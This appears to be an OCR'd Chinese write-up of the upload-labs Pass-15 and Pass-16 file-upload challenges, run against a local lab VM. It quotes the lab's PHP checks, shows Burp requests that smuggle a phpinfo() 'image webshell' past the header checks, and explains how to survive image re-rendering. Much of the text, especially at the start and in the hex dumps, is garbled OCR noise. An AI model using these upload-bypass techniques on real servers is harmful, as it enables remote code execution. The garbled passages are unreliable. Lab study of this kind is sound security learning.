BokoroVo~ZAOOOXOp	D2a & bPUA & (& Gg.h & 'l &&& R`#	•_ 0 P2 0)\$E 0 6xoHi! 0 s 0 0eK^ 0 Y(0 !r(O 0 f 0 hJ 0 + 0 W	x5 &&- &W & O && &&BPD=O! & #8 & &.	�W�N�%1剴Xg �Q�alQs�*q"8��U	toP 令 .H& 令&令&	n��q!EyE��h_
	›››‹‹‹›››››››››››››››››››››››››››››››	I&^`j&&U&&DI&&U&&(H&G&}&&&AAAAAA&!!!! _`AA)AAE PAOA*@AAAAAAAAA&?!!!!	™�� ��(�∪♥ ♥₿♥^`♥D\♥♥%[♥∠₹ ►V▲▲v▲▲▲▲@▲ ▲▲h2*o1▲v▲▲▲4	\$\$Q<\$I\$QQ\$\$CHN\$U5\$H\$@BUZ\$\$	= \$ \$ 1[\$U\$U\$11\$3\$\$UB\$N\$ (0444 n-Hが441@4r41444)	99 7% AA(AAAIA .
00000000000000000000000000000000000000	\$*\$\$\$\$\$\$\$\$\$\$\$\$	\$\$\$\$#z\$1>\$\$\$\$7\$ED\$}\$\$\$9\$\$9\$;J\$\$\$B	مەرە NooPiDooo)> Ao>	maJa&@i	803vZô`nôô{z6ôôôô;ôôZôé	J a:a 7@be2@
\$:\$\$\$\$Z\$\$!\$R,\$\$\$\$'5	25&/33*#()(6>:>M Ugfw/HM'^dl	35ON0gZ.LOMHYa^g[c_bqtsu�_x�y]�{@s����@	(\	••••••••••••••••••••••	••••••••••••••••	••••
\$\$\$\$\$/\$\$0\$\$0\$#	≱G @@d@@U@@d@ yS @@ hfg @@	>u�����������₽₽	₿₲₲₲₲₲₲₲ _₽ ₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽	****	00000000000000000000000000000000000000	***
00R000000000000	****	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	00000000000000000000000000000000000000	} ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~	00000 <u>0</u> 000000000000000000000000000000	****
H&&&&*\O&Ç#J&H&&ŋ	@> @@ !C @E@@@@P@ \$P@A@@	>4@ qnqqYqeqq D0PS%^\$ qq` Q q=q &b q + q #1.	,Ρη���D8 z�ゔ�p�2���)�gΘk`�	A&&&]P3@&z&e&Y"&&K0&y&9&&	x��63 �:₩�/:su� \"�x=N-Q�	8! \$\$\$\$\$
	\ &&&& && &= &&& 0+> &&& 94Da1\aDaalaM/ay7taf·an	•	Ͷ ϴ ΞϢϴ3ΧϴϤϴΙϴϴͰϴϴϴͶͰϴϴͰϘϴ ͶϫʹͿϫϦϫϫϫϫϫϫϧϹϫϷϫϜͽϫϫϫϫϫ;;	=D&V&& &V&,&&Yq&,&=V& 6O(E&@a	•\$ 5U\$\$\$%`\$\$\$\$\$\$'\$U\ \$\$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$	_U< 0;0 ≦Aahimir⊚lAsaan \71
	¢W¢)q¢¢zMn¢:L¢p¢C¢IX¢⊞	&&&P&& &4&&*&&& &&~~~~~~~~~~~~~~~~~~~~~~~~~~	L!C@0x 3\91@@&WÝ@@ \@w1 @@s		DP40B0i0 00*000)C0P0'10	¢>¢4`¢6
<`&c+&&&nRBA&&G&-&	kl!& 4pl6&q&&@]&&&&@)e'&[0@&&&&W&&&3&0\>II\:Xp& &&]%&5D@+70h	"&&t 8&3&&': &&HMn\ú&粘&#&&	¢&8¢D[¢¢¢¢q¢(¢lq¢¢LX@m1繧 €		&& @%` & @* & &}
اشd&&&\$F#9&L@C4&(&1)	H@(�� ^ℍ +E Lq>�D�ómJBӄ��	00kr00000000 D00;>`0A\W000000=k0R0k	\$\$\$\$ J \$\$ u \$,h - \$\$ \${0Q" \$ TI# \$ @	&&B &2p1&6&Y&& &&D&&_&a!Z&	z\$ \$ 0f[\$ K% \$ +Qu \$ \$EB \$\$\$ * \$ x	••••
\$\$\$[*\$3*\$\$,\$\$,)`\$\$`\$`	Y��/�� Z9 � o � P÷x � 'P �� C8!h	��O �0�p�EèxUT��^aul��Hu0E���qk@0:D4	��~9CRp�K �#�NR k�T\$�J�=��+	wg.de&H&AS&f*&a&CB&'P&b&&&C	z&ZHTu&&&&qd&&{&1&^&&	&&& & & & E^(
g & & -N & t & i & \ & dC & 356	6 6 K8 6 €{x 6 6 6A666 6 {x 6 } 1 {x 6 }	0@ \$\$\$6\$\$\$ {H \$\$ a \$\$@\$\$\$ A \$3\$\$ ^ \$yt#\$ W D = \$ = \$ C \$ U \$ \$ \$ \$ \$ \$ \$ \$ \$ \$		6 ♦♦ ⊠^v₩ ♦₩♦ h* ♦ X ♦♦&♦ € ₩ ▲ 7 ▲ ₩ ♦ #▲ #▲ *▲ *	\$\$\$\$\$K\$(}hq8Q\$K\$D\$C3N\$\$	2~ 0 .002
	a AuAADVAAAAAAAd *n'AAV	D 8000000000000000000000000000000000000	"390997,39929Q9 19A97779A	y&Z&&III&/I&Rue& 9&&/& A&-&& V& AA [*] AAAA&*ar>AvAAA <ap* a*<="" td=""><td>\$U\$VY\$#G\$F\$}\$DF\$5\$\$\$% \$U \$7\$7\$\$\$ [\$(P\$]\$j\$\$]\$2\$2\$</td><td>1999 9KP</td></ap*>	\$U\$VY\$#G\$F\$}\$DF\$5\$\$\$% \$U \$7\$7\$\$\$ [\$(P\$]\$j\$\$]\$2\$2\$	1999 9KP
*&&D&.&&0&2:&/&6&&;	A AdAAD AAAAAAAA h AA	AA. AAAAAAAAAA AA AA WICITSA wha Aloulaa	AVA 11. 4044444344 40494	••• • • • • • • • • • • • • • • • • •	ATATAAA 3A(I AIAIAA)A .AC	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		PHP Version 5.2.17	pr			

	Pip
System	Windows NT DESKTOP-42O1OUK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js *enable-snapshot-build *enable-debug-pack * with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template *with-php-

发现和之前的关卡好像差不多,应该还是在源码中没过滤太多东西,直接先看源码。

#*源码*

```
function isImage($filename){
 //需要开启php_exif模块
 $image_type = exif_imagetype($filename); //判断一个图像的类型,如果发现了对应的类型,返回一个对应的常量,否则返回 False
 switch ($image_type) {
   case IMAGETYPE_GIF:
      return "gif";
      break;
   case IMAGETYPE_JPEG:
      return "jpg";
      break;
    case IMAGETYPE PNG:
      return "png";
      break;
    default:
      break;
$is_upload = false;
if(isset($_POST['submit'])){
 $temp_file = $_FILES['upload_file']['tmp_name'];
 $res = isImage($temp_file);
   $msg = "文件未知, 上传失败! ";
 }else{
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
   if(move_uploaded_file($temp_file,$img_path)){
   } else {
      $msg = "上传出错!";
```

对 php 文件进行了测试,发现只要改了 文件头就可以直接绕过这个限制了。

1 × 2 × ...

发送(Send) 取消(Cancel) < ▼ > ▼

发送(Send)	E
请求(Request)	响应(Respons)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 In ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🗐 \n ☰
<pre>1 POST /Pass=15/index.php?action=show_code HTTP/1.1 2 Host: 192.168.93.128 3 User=Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64; rv:100.0) Gecko/20100101 Firefox/100.0 4 Accept=Language: zh-CR, zh;q=0.8, zh=TW;q=0.7, zh=THK;q=0.5, en=US;q=0.3, en;q=0.2 6 Accept=Language: zh=CR, zh;q=0.8, zh=TW;q=0.7, zh=THK;q=0.5, en=US;q=0.3, en;q=0.2 7 Content-Type: multipart/form=data; boundary=</pre>	<pre>, code> , gif</pre>

™ upload-labs ×	phpinfo() × +	ςfδ	SHEPHERN 3
$\leftarrow \rightarrow C$	🔿 👌 192.168.93.128/include.php?file	oad/6320220419150822.gif 🗉 🔂	© 𝒫 🕲 ୬
GIF98a			

PHP Version	5.2.17 Php
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	csript/nologo.configures;enable-snaphot-buildenable-debug-pack with-snaphot-template=d/php-sdk/snap_5_2/vc6Vv80(template"with-php- build=d/php-sdk/snap_5_2/vc6Vv80(php_build"with-pdo-ad=D/php- sdk/soracle/winstantclient/Uxdk/shared"with-oci8=D/php-sdk/oracle /winstantclient/Uxdk/sharedwith-oci8=D/php-sdk/oracle
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Cafety	anablad

png 和 jpg 应该也是一样,修改下文件头就可以绕过了

-	•••				••	••			••		~-		••				
0	6f	6e	6e	65	63	74	69	6f	6e	3a	20	63	6c	6f	73	65	onnection: close
0	0d	0a	52	65	66	65	72	65	72	3a	20	68	74	74	70	3a	Referer: http:
0	2f	2f	31	39	32	2e	31	36	38	2e	39	33	2e	31	32	38	//192.168.93.128
0	2f	50	61	73	73	2d	31	35	2f	69	6e	64	65	78	2e	70	/Pass-15/index.p
0	68	70	3f	61	63	74	69	6f	6e	3d	73	68	6f	77	5f	63	hp?action=show_c
0	6f	64	65	0d	0a	55	70	67	72	61	64	65	2d	49	6e	73	ode Upgrade-Ins
0	65	63	75	72	65	2d	52	65	71	75	65	73	74	73	3a	20	ecure-Requests:
0	31	0d	0a	0d	0a	2d	1										
0	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	
0	2d	2d	33	33	31	32	37	34	36	39	30	36	32	34	31	33	33127469062413
0	33	35	37	31	32	38	31	38	34	33	33	33	30	36	34	32	3571281843330642
0	0d	0a	43	6f	6e	74	65	6e	74	2d	44	69	73	70	6f	73	Content-Dispos
.0	69	74	69	6f	6e	3a	20	66	6£	72	6d	2d	64	61	74	61	ition: form-data
0	3b	20	6e	61	6d	65	3d	22	75	70	6c	6f	61	64	5f	66	; name="upload_f
0	69	6c	65	22	3b	20	66	69	6c	65	6e	61	6d	65	3d	22	ile"; filename="
0	70	68	70	69	6e	66	6f	2d	31	2e	70	68	70	22	0d	0a	phpinfo-1.php"
0	43	6f	6e	74	65	6e	74	2d	54	79	70	65	3a	20	61	70	Content-Type: ap
0	70	6c	69	63	61	74	69	6£	6e	2f	6f	63	74	65	74	2d	plication/octet-
0	73	74	72	65	61	6d	0d	0a	0d	0a	89	50	4e	47	0d	0a	stream BPNG
0	1a	0a	00	00	00	0d	49	48	44	52	3c	3f	70	68	70	20	□ IHDR php</td
0	70	68	70	69	6e	66	6f	28	29	Зb	3f	3e	0d	0a	2d	2d	phpinfo(); ?>
0	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	
0	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	33	33	31	32	37	33127
0	34	36	39	30	36	32	34	31	33	33	35	37	31	32	38	31	4690624133571281
0	38	34	33	33	33	30	36	34	32	0d	0a	43	6f	6e	74	65	843330642 Conte
.0	6e	74	2d	44	69	73	70	6f	73	69	74	69	6f	6e	3a	20	nt-Disposition:
0	66	6f	72	6d	2d	64	61	74	61	Зb	20	6e	61	6d	65	3d	form-data; name=
0	22	73	75	62	6d	69	74	22	0d	0a	0d	0a	e4	ь8	8a	e4	"submit" ä,Dä
.0	bc	a 0	0d	0a	2d	¥4											



		ł
$\leftarrow \rightarrow C$	○ 8 192.168.93.128/include.php?file=upload/8420220419153531.png	

PNG IHDR

PHP Version	5.2.17 Php
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configurejs *enable-snapshot-build *'enable-debug-pack * with-snapshot-emplate=dtyhpo-cdksnap 5_2Vcr0V806tmeplate* *with-php- build=dtyhp-sdksnap 5_2Vcr0v80kphp_build *'with-pdo-oci=D/php- sdk/oracle/wistantclient10sdk,shared *with-oci8=D/php-sdk/oracle /wistantclient10sdk,shared *with-ube*
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Safety	enabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHP Streams	php, file, data, http, ftp, compress.zlib, compress.bzip2, https, ftps, zip
Registered Stream Socket Transports	tcp, udp, ssl, sslv3, sslv2, tls

方法: 文件头绕过

Pass-16

还是上传一个图片马看看情况

SEA SH



发现这次没有用了,图片马中的代码没有执行。



중 upload-labs ×	192.168.93.128/include.php?file = ×	+	SFA SHEPHERN 🖘 🌚 🖉
$\leftarrow \rightarrow \mathbf{C}$	🔿 👌 192.168.93.128/include.	e.php?file=upload/19589.png	
C <p< th=""><th>ऄ 192.168.93.128/include; Image: State of the state of the</th><th>sphp?file=upload/19589.png < < if & j = 0 < 0</th><th>A SHEPHERU A SHEPHERU A</th></p<>	ऄ 192.168.93.128/include; Image: State of the	sphp?file=upload/19589.png < < if & j = 0 < 0 < 0 < 0 < 0 < 0 < 0 < 0 < 0 < 0	A SHEPHERU A
Ċiq`iq`iq`iq`iq`iq`iq`iq`iq`iq`iq`iq`iq`i	0j _⊕ , j _K , ė, ė [,] kčą ė ši al Ue R+š = C ⊕ v ⊕ ⊕ i \$ ⊕ ⊕ T ⊕ 6)6i) ⊕ φ e ⊕ ⊕ ⊕ ⊕ 65 § \$ 5 % 5)6i) ⊕ φ e ⊕ ⊕ ⊕ ⊕ 65 § \$ 5 % 5 3i ⊕ Z K? 7 EF § NB ⊕ ⊕ ⊕ ⊕ 6 7 06 ⊕ Z U8:3 ⊕ ~ ⊕ 9 ⊕, 5 ⊕ m ⊕ 2 X ∯ (5 % ⊕ T ⊕ B*))EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € f Alm A h.n A h.n A h.n)EQ ⊕ ⊕ ⊕ ⊕ € ⊕ ⊕ 0 ⊕ Q m 2E ⊕ E f ⊕ ⊕ ⊕ k ⊕ ⊕ k ∩ ⊕ U ⊕ Q m 0 € 7 ⊕ F I ⊕ C ⊕ B I ⊕ C ∪ ⊕ X m ⊕ [[p ⊕ ⊕ ⊕ v ♥ r ⊕ ⊕ − ⊕ e] ⊕] ⊕ 0 ⊕ 0 ⊕ 0 ⊕ 0 ⊕ 0 ⊕ 0 ⊕ 0 ⊕ 0 ⊕		ia:2000,000,000,000,000,000,000,000,000,00
	→ → → → → → → → → → → → → → → → → → →	99€Q> \$ZX\$\$<\$\$#\$CIP\$;X\$\$\$ \$\$TE\$\$C\$\$\$\$\$ \$\$\$2,25,25,25,25,25,25,25,25,25,25,25,25,25	♦ 2 2 4 5 4 5 4 0 - 47 6 F0[F(4] 6 4 H(z)F 6 0] 6 4 2 PP 6 4 < 4 A 00 6 4 5 4 0 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4

访问图片的位置,发现图片可以正常访问



把图片拉下来放到 hex 里面看看,发现我们下载下来的图片马中的一句话消失了

3850h:	5F	19	94	FC	34	F1	68	20	9F	06	1C	F0	39	CF	85	A3	."14ah Y891f
3860h:	81	0A	69	C0	01	5F	85	14	EF	34	EB	68	E0	FF	03	67	iÀï4ëhàÿ.g
3870h:	BB	D5	40					00	00	00	00	49	45	4E	44	AE	»Õ@Om ùIEND®
3880h:	42	60	82	3C	3F	70	68	70	20	70	68	70	69	6E	66	6F	B`, php phpinfo</p
3890h:	28	29	3B	20	3F	ЗE	0D	0A	0D	0A	1A						(); ?>

phpinfo	o_1.p	ng	1	1958	9.pr	ıg x											
	Ŏ	1	2	3	4	5	6	7	8	9	А	В	С	D	Е	F	0123456789ABCDEF
2580h:	F2	D8	4E	42	E0	BD	F7	5E	AF	A2	03	E3	72	F6	EC	AB	òØNBà½÷^¯¢.ãröì≪
2590h:	93	5B	71	5B	A1	30	8F	34	39	67	EF	BF	9F	77	A3	E1	"[q[;0.49g￟w£á
25A0h:	F0	AA		8D	37	5E	AC	42	A0	39	CB	9B	CE	58	71	CE	ðªó.7^¬B 9Ë≻ÎXqÎ
25B0h:	E2	F2	D4	5A	DB	12	25	39	DF	F8	58	59	4E	0F	AF	ЗA	âòÖZÜ.%9ßøXYN.
25C0h:	61	5B	A0	65	5E	30	80	A2	B2	2A	9C	4E	93	02	B6	D3	a[e^0.¢²*œN".¶Ó
25D0h:	18	0C	82	A8	DB	F5	3B	1D	3F	7F	BD	61	21	78	5C	79	, Üõ;.?.½a!x\y
25E0h:	27	0F	B3	F5	15	DE		5A	AD	F5	52	34	9A	67	D6	45	'.³õ.Þ.Z-õR4šgÖE
25F0h:	08	50	4A	09	21		2E	EC	B3	2F	69	88	56	EB	01	A5	.PJ.!ì³/i^Vë.¥
2600h:	23	E3		6C	7E	46	63	8C	D6	C6	3E	28	F0	25	E4	9C	#ã6l∼FcŒÖÆ>(ð%äœ
2610h:	2F	2D	Β9	67	CF		9C	FF	29	0B	75	6E	33	61	В0	63	/-¹gϾœÿ).un3a°c
2620h:	A6	34	29	A5	36	86	68	D6	74	39	C8	E7		5F	57	CA	¦4)¥6†hÖt9ÈçŸ_WÊ
2630h:	50	4A	18	A3	36	5D	68	9C	ЗD	Β4	F0	35	11	ED	19	ЗA	PJ.£6]hœ=´ð5.í.:
2640h:	D6	EB	B1	0F	3F	7C	75	AC	E7	2E	D4	Β9		56	EB	01	Öë±.?[u¬ç.Ô'∢Vë.
2650h:	21	E3	1D	58	D3	DA	44	91	4C		DD	10	D1	8A	52	88	!ã.XÓÚD'L.Ý.ÑŠR^
2660h:	FA	77		F3	52	49	7D	AC	9C	3F	FB	B3	FF	7E	F4	68	úw¾óRI}¬œ?û³ÿ∼ôh
2670h:	FD	77	7F	F7	5D	1B	39	CF	18	23	84	EE	A4	C3	CD	06	ýw.÷].9Ï.#"î¤ÃÍ.
2680h:	11	95	D2	5A	9B	20	90	5A	AB	8F	3F	FE	1F	7F	F7	77	.•ÒZ> .Z«.?þ÷w
2690h:	17	8B	F5	64	A1	CE	64	5A	AD		84	50	80	38	7F	E2	. <õd;ÎdZ-;"P€8.â
26A0h:	F0	8D	1A	AA	43	65		18	D9	38	4B	44	44	34	9F	7C	ðªCe‹.Ù8KDD4Ÿ
26B0h:	F2	EB		17	FF	78	DA	FD	AE	86	1F	FF	F8	E2		E3	òë‹.ÿxÚý®†.ÿøâñã
26C0h:	C7		F9	CD	57		7F	DE	73	9C	9A	E3	70	4A	81	10	Ç¿ùÍWž.ÞsœšãpJ
26D0h:	63	CC	AE	DB	22	65	78	FB	F6	BD	07	0F	ΒA	C6	84	4A	cÌ®Û"exûö½ºÆ"J
26E0h:	F1	87	0F	1F	4F	58	ЗD	7A	A1	CE	BC	7C	F4	D1	47	6F	ñ‡OX=z¦Î¼ ôÑGo
26F 0h:	DD	Γ5	ГD	5.	AЗ	31	81	52	34	8A	7٨	4D	4D	4D	42	78	ZõûZE1.R4ŠzKKWDx
2700h:	18	F6	F2	84	FA	2E	58	В0	60	C1	82	05	0B	16	1C	72	.öò"ú.X°`Á,r
2710h:	FE	3F	7C	C2	69	50	BB	8A	3D	CB	00	00	00	00			þ? ÂiP»Š=ËTE
2720h:	4E	44															NDBB [°] ,

不知道是什么原因导致的, 先看看源码

源码

\$is_upload = false; \$msg = null; if (isset(\$_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文作 \$filename = \$_FILES['upload_file']['name']; \$filetype = \$_FILES['upload_file']['type']; \$tmpname = \$_FILES['upload_file']['tmp_name'];

\$target_path=UPLOAD_PATH.'/'.basename(\$filename);

// 获得上传文件的扩展名 \$fileext= substr(strrchr(\$filename,"."),1)

```
if(move_uploaded_file($tmpname,$target_path)){
    //使用上传的图片生成新的图片
    $im = imagecreatefromjpeg($target_path); // 由文件或 URL 创建一个新图象。失败后返回 false
    if($im == false){
      $msg = "该文件不是jpg格式的图片!";
      @unlink($target_path);
    }else{
      //给新图片指定文件名
      srand(time());
      $newfilename = strval(rand()).".jpg";
      //显示二次渲染后的图片(使用用户上传图片生成的新图片)
      $img path = UPLOAD PATH.'/'.$newfilename;
      imagejpeg($im,$img_path);
      @unlink($target_path);
 } else {
    $msg = "上传出错!";
}else if(($fileext == "png") && ($filetype=="image/png")){
  if(move uploaded file($tmpname,$target path)){
    //使用上传的图片生成新的图片
    $im = imagecreatefrompng($target_path);
    if($im == false){
      $msg = "该文件不是png格式的图片!";
      @unlink($target_path);
    }else{
      //给新图片指定文件名
      srand(time());
      $newfilename = strval(rand()).".png";
      //显示二次渲染后的图片(使用用户上传图片生成的新图片)
      $img path = UPLOAD PATH.'/'.$newfilename;
      imagepng($im,$img_path);
      @unlink($target_path);
 } else {
    $msg = "上传出错!";
}else if(($fileext == "gif") && ($filetype=="image/gif")){
  if(move_uploaded_file($tmpname,$target_path)){
    //使用上传的图片生成新的图片
    $im = imagecreatefromgif($target_path);
    if($im == false){
      $msg = "该文件不是gif格式的图片!";
      @unlink($target_path);
    }else{
      //给新图片指定文件名
      srand(time());
      $newfilename = strval(rand()).".gif";
      //显示二次渲染后的图片(使用用户上传图片生成的新图片)
      $img path = UPLOAD PATH.'/'.$newfilename;
      imagegif($im,$img_path);
```

```
@dmmn(starget_path),
    $is_upload = true;
    }
    } else {
        $msg = "上传出错!";
    }
}else{
    $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
```

源码中对 上传的图片进行了二次渲染,把恶意代码给整没了,对比下图片的 hex 会发现有些地方 经过二次渲染之后也没有改变,这里就是 没有被覆盖的地方,将 恶意代码放到这个位置,再进行绕过

Rolan/Webshell File\photoma\pag\phpinfo_1.png v 🗟 🕑 v 📓 CL/Users\king_boy\Downloads\19589.png		
000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 49 48 44 52 00 00 00 DF 00 00 00 C8 %PNG	00000000 89 50 4E 47 0D 0A 1A 0A 00 00 0D 49 48 44 52 00 00 0D F 00 00 00 C8	‰PNGÈ
000018 08 06 00 00 68 2A 34 0F 00 00 00 173 52 47 42 00 AE CE 1C E9 00 00h*4sRGB.®1.é	00000018 08 02 00 00 E7 48 A3 58	cH£X
000030 20 00 49 44 41 54 78 5E ED 7D 09 78 1C 47	00000023 20 00 49 44 41 54 78 9C ED 9D C9 8F 23 57 7E E7 7F 6F 8B 08 92 C9 CC 2C	.IDATx@i.É.#W~c.o<.'ÉÌ,
00003E //95 FF///////AB EE 9E 9E 43 A3 91 6C C7 4E 2C	0000003B 55 95 D4 5A BB 16 55 AB 6A CA 5A BA 55 92 BA E5 86 1B 46 63 3C B0 2F D3	U•ÔZ».U«jÊZºU'ºå†.Fc<°/Ó
000048 DF 82 65 5D BE	00000053 97 F6 C1 17 DF 7A 4E////BE 0C E0 78 CD 3F 60 03 03 18 86 7D F2 AD 01 E9	-öÁ.BzN %.à{Í?`†}òé
200050 E4 43 4A 62 C7 4E 08 24 E1 48 02 D9 25 D9 85 EC 86 68 03 08 CB 02/// aCJbCN.\$éH.Ůxů_l*kĔ./	0000006A E4 C3 C8 36 E0 99 C6 C0 F6 C8 EA 69 4D 6F 2A 31////68 2F D5 92 55 AA 2D	äÄÈ6à™ÆÀöÈêiMo*1∕k/Õ'U≛-
200066 //C9 F2 67 81 DD C5 B0 1B E0 BF 0B 04 16 12 20 7F 8E 40 08 04 9B B0 59 ∮Éòg.ÝŰ.࿎@)°Y	00000081 93 C9 25 96 B7 FC E6 F0 32 A3 98 CC 60 44 30 18 C1	"É%üæð2£~ì`D0.Á/////
20007D B2 EB 24 BB E0 84 24 E4 76 88 ED C4 33 B2 6C F9 D4 C8	00000092 // 24 // 33 // F9 41 A1 C0 CC 7C 0C 3E 06	\$/////3/ùAjÀÌ.>.
30008F //////F7 48 1A 8D E6 EA EE FA 7F 6F 5A 6D 8F 46 33 D3 D5 3D DD 73 48 //+Hæêiú.ozm.F3ÓÕ=ÝsH	0000009D BF FC BD F7 7E EF	¿ü%+~1
3000A4 5D DF 37 DF C8 9E 57 AF 5E BD EA 5F 57 D5 AB F7 5E 11 70 8A A3 01 47 03]87ßÈŽW⁻%卷_NÕ≪÷^.pŠ£.G.	000000A3 F7 7E 3F	//////////////////////////////////////
3000BC 15 D1 00 A9 48 AB 4E A3 8E 06 1C 0D 80 03 3E E7 21 70 34 50 21 0D 38 E0 .Ñ.©H≪N£Ž€.>ç!p4P!.8à	000000A6 // 80 05 0B 16 2C 58 B0 60 C1 C1 81 EC	(//////€,X°`ÁÁ.ì
3000D4 AB 90 E2 6B A1 D9 B3 67 E9 02 00 68 E7 79 68 06 80 A5 94 C2 52 FC CE 95 «.åkįÙ³géhçyh.€¥"ÂRūĪ•	000000B2 77 07 16 24 F0 E4 09////02 00 63 00 00////////////////////////////	w\$ðä./c////////
0000EC 9D 10 88 53 0A 31 00 18 25 04 46 29 85	000000BE /// 88 C3 7F ///// 25 64 FB 97 F1 03 DB AC D7 83 57 5F 3D 50 1F E8	^Ã.//‰dû−ñ.Û¬×fW_=P.è
0000F9 /////////////////////////////////	000000D1 81 7A 33 73 4D A7 83 4A 0D 09 CE 18 03 00 08 00 88	.z3sM§fJ1*
900103 C1 05 08 48 BC 16 FA 5C 4E 19 1D F0 95 53 DB 55 DE 56 34 4A 57 48 12 74 ÅH%.ú\Nð•SÛUÞV4JwH.t	000000E2 /////48 08 E0 5E A9////////////////////////////////////	//H.à^©////////////////////////////////////
30011B 11 02 AB 28 85 D5 00 70 31 00 10 4A	000000E7 / 02 00 10 42 / 00 80 / 00 10 63 34 22 52 EA FC D5 5F FD B7 8B 17 2F	/B/.€/c4"RêüÕ_ý·‹./
900127 //////95 3A 45 01 1F 00 F5 01 80 40 29 E5 09 01 0E BF 01 80 CB D3 2D //•:Eõ.€@)å¿.€Éó-	000000FC 4E A9 EB 95 B1 50 E7	NB땱Pç////////////////////////////////////
30013C 05 80 A4 09 81 34 7E E3 47 51 E4 3E 4A E9 6F 39 4E FC AF 78	00000103 ///////////////////////////////	///////> ³¹¹ Kr^h.".+Ê
000150 /////////////////////////////////	00000110 C2 68 6D A2 28 EA 74 FA 4F 9E AC FF DE EF 7D 67 D2 5E EE 13 0B 75 EE 0F	Âhm¢(êtúOž-ÿÞĭ}gÒ^îuî.
300156 6E 55 AA 5C 1D B6 88 E7 80 CF 76 15 57 77 03 43 43 84 99 52 D8 02 00 98 nU≹\.¶‹ç€Ĭv.Ww.CC´™RØ>	00000128 88 D8 E9////////////////////////////////////	^Øé///€ÖÛ?.c(KÆ÷f~¿¿
30016E 01 60 AD 0A 36 EA 57 14 EA A7 54 F1 03 50 AF D5 3D 90 65 65 2C 95 4A 1D .`6êw.ê§Tñ.P ⁻ Ö=.ee,•J.	00000138 B9 D9 AD D5 F8 DB 6F 9F 28 FD FA 95 B2 50 E7 B4 79	²Ù-Õ¢ÛoŸ(ýú∙²₽ç´y
900186 88 46 C7 7E 71 F6 6C F8 87 9B 37 AF 3D 6D 75 1B B5 C0 CF 01 5F 2D 8C 92 ^FÇ~qõl¢‡>7°≡mu.µÀĭ@'	0000014C ////////////////////////////////////	.9.²sã.1Æ @ùº.\$Š
90019E C5 32 52 4A 5D D1 28 5C 28 CB 70 1D 00 5C 81 80 53 14 65 26 A5 B4 5E 05 Å2R3]Ñ(\+Ēp\.€S.e&¥^^.	0000015D E4 D6 D6	8000
3001B6 5C DE D9 CC 62 29 54 76 F1 78 02 C6 C6 C6 5E 1A 1A 1A DD E6 F5 0A BF 5E \PUID)Tvñx.#E*Ywð.¿^	00000161 ///////////////////////////////	///////ÆR./////////////////////////////
3001CE BD 7A F1 21 5B 1A AA/////////////////////////////////	00000164 //////21 F4 7B DF 3B 53 E9 6B 95 C8 42 9D 53 25 1E C7 11 AD BD 9C 74	<pre>!ô{B;Sék•EB.S%.C%et</pre>
0001E0 29 BA 4C 10 E0 5A 42 E0 5A 00 58 04 00 3C 82 4E 51 E8 0C 00 C5///////)ªL.àZBàZ.X<,NQèÅ	00000179 04 1F 8B 30 8C DA ED AD 5E AF 2F 04 FF F6 B7 4F 4C ED 75 0B B3 50 E7 94	<0ŒÚí-^~/.ÿö·OLíu.³P¢"
0001F5 ////////63 57 BB 2C 7C 53 A9 34 8C 8C 8C 24 23 91 91 5F 13 C2 FD E2 ///cWw, S040002\$#**Aýa	00000191 18 9C 5F 1A 63////////////////////////////////////	.œc/////@**ª.c.A+fII9
002209 B2 CB 5A 1E 65 A9 57 CB 34 0E F8 6A 79 F4///0C C8 3E 34 44 3F 42 29 FC ² EZ.e0WE4.øjyô,E>4D?B)ü	000001A2 D6 52 08 FE E6 9B AF 4D BF 0F F9 59 A8 73 1A 0C 98 4C DC 31 99 FB 89 31	ÖR.þæ>™¿.ùY"s~LÜ1™û‰1
